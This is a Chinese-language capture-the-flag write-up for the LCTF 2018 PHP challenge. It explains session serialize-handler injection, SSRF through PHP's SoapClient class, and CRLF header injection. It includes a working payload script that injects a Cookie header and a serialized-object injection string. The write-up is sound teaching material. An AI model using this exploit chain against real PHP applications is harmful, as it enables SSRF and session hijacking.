bestphp's revenge
考点:1、SoapClient触发反序列化导致ssrf 2、serialize_hander处理session方式不同导致session注入
又学到了一个新的知识点
首页面给出了源码
index.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
flag.php
only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!
通过flag.php
我们发现要获取flag需要通过ssrf
才可以实现将flag
写入到session
里,然后再在index.php
中输出。
所以我们回到index.php
来看如何实现,通过审计,我们发现有很多的可控变量
call_user_func($_GET['f'], $_POST);
我们可以调用任意函数并传入一个参数,或者我们可以将f
传入一个数组表示某个类的某个方法,这里我们就涉及到了一个新的知识点构造SSRF之SoapClient类
构造SSRF之SoapClient类
SoapClient
是php内置的类,当__call
方法被触发后,它可以发送HTTP和HTTPS请求,从而实现ssrf的效果,
该类的构造函数如下:
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式
WSDL (Web Services Description Language,Web服务描述语言)是一种XML Application,他将Web服务描述定义为一组服务访问点,客户端可以通过这些服务访问点对包含面向文档信息或面向过程调用的服务进行访问(类似远程过程调用)
第二个参数如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location
是要将请求发送到的SOAP服务器的URL,而uri
是SOAP服务的目标命名空间。
但是我们如何使得利用ssrf
获得的flag存入已知的session
中呢?
这里我们又要学习一个CRLF Injection漏洞
CRLF Injection漏洞
CRLF是”回车+换行”(\r\n)的简称。在HTTP协议中,HTTPHeader与HTTPBody是用两个CRLF
分隔的,浏览器就是根据这两个CRLF
来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLFInjection
又叫HTTPResponseSplitting
,简称HRS
。
举个例子,一般网站会在HTTP头中用Location: http://baidu.com
这种方式来进行302跳转,所以我们能控制的内容就是Location:后面的XXX某个网址。
所以一个正常的302跳转包是这样
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
但如果我们输入的是
http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun
注入了一个换行,此时的返回包就会变成这样:
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
Set-cookie: JSPSESSID=wooyun
这个时候这样我们就给访问者设置了一个SESSION,造成一个“会话固定漏洞”。
当然,HRS并不仅限于会话固定,通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。更加详细的之后会专门再写一篇笔记细说。
对于这道题而言,我们可以控制location
,所以就可以通过CRLF
进行携带Cookie
回到最初的问题,我们如何去构造SoapClient类
呢?
PHP的session反序列化机制
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储,存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。
在php.ini中存在三项配置项:
session.save_path="" --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认是php(5.5.4后改为php_serialize)
session.serialize_handler存在以下几种:
php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
php 键名+竖线(|)+经过serialize()函数处理过的值
php_serialize(php>=5.5.4) 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
在PHP中默认使用的是PHP引擎(5.5.4后改为php_serialize),如果要修改为其他的引擎,只需要添加代码
ini_set(‘session.serialize_handler’, ‘需要设置的引擎’);
当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞。
举个例子,当存储是php_serialize
处理,然后调用时php
去处理,如果这时注入的数据时a=|O:4:"test":0:{}
,那么session中的内容是a:1:{s:1:"a";s:16:"|O:4:"test":0:{}";}
,那么a:1:{s:1:"a";s:16:"
会被php解析成键名,后面就是一个test对象的注入。
解题思路
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
第一步
构造SoapClient类
并写入session
文件
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "ggbond\r\nCookie: PHPSESSID=123456789\r\n",
'uri' => "ggbond"));
$payload = urlencode(serialize($attack));
echo '|'.$payload;
因为需要引擎差异,所以我们需要在写入的时候使用php_serialize
引擎,可以构造session_start(['serialize_handler'=>'php_serialize'])
达到注入的效果。
使用第一个call_user_func
设置php引擎,通过name
写入反序列化字符串
第二步
第二次访问后,刚才的序列化字符串因为解析问题成功的注入了SoapCilent类
,接下来我们需要想办法调用__call方法
,这里我本想着直接利用第一个call_user_func
直接利用构造的SoapCilent类
,无果。这里是因为sesssion_start
在第一个call_user_func
之后,相当于还没有构造就去利用了,所以导致失败,所以我们只能使用第二个来利用这个方法。
所以我们要使用变量覆盖extract函数
来覆盖$b
变量来实现自定义方法,这里覆盖$b
为call_user_func
传入的是
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
这里的reset($_SESSION)
就是刚刚构造的类方法,调用该类的welcome_to_the_lctf2018
方法,触发__call
从而实现攻击,这里在网上看好多师傅们让name=SoapClient
,通过我的尝试发现这个没有意义,因为reset()
将数组指向了第一个值,无论name
是什么都不会用到。
获得flag
然后我们使用PHPSESSID=123456789
去访问首页面就得到了flag